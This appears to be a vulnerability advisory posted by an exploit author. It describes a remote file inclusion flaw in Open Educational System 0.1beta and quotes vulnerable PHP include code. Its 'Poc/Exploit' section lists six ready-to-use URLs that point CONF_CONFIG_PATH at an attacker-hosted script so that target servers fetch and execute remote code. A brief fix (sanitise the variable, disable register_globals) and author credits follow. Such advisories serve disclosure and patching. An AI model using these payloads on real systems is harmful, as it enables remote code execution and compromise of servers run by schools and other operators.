Affected software description:
Application : Open Educational System
version : 0.1beta
Vendor : http://openeducation.sourceforge.net
Description :
OES (Open Educational System) which is a free for use, open source, and multi-platform, multi-language and user-friendy design online e-learning platform.
The system is integrate and suitable use for any high-school, college or university
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Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at includes/lib-account.inc.php :
----------------includes/lib-account.inc.php-------------------
<?php
// File : /include/lib-account.inc.php
//
// Description : This library is for administrator and normal user account mangement.
// Include the configuration file.
include_once ( $CONF_CONFIG_PATH.'/config.inc.php' );
// Include the main include file for running all routine.
include_once ( $CONF_INCLUDE_PATH.'/library.inc.php' );
// Include the ADOdb Class
include_once ( $CONF_INCLUDE_PATH.'/adodb/adodb.inc.php');
...
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Variables $CONF_INCLUDE_PATH is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.
also affected files :
includes/lib-file.inc.php
includes/lib-group.inc.php
includes/lib-log.inc.php
includes/lib-mydb.inc.php
includes/lib-template-mod.inc.php
includes/lib-themes.inc.php
Poc/Exploit:
~~~~~~~~~~
http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
Solution:
~~~~~~~
- Sanitize variable $CONF_INCLUDE_PATH on affected files.
- Turn off register_globals
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Shoutz:
~~~~~
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Contact:
~~~~~~
K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
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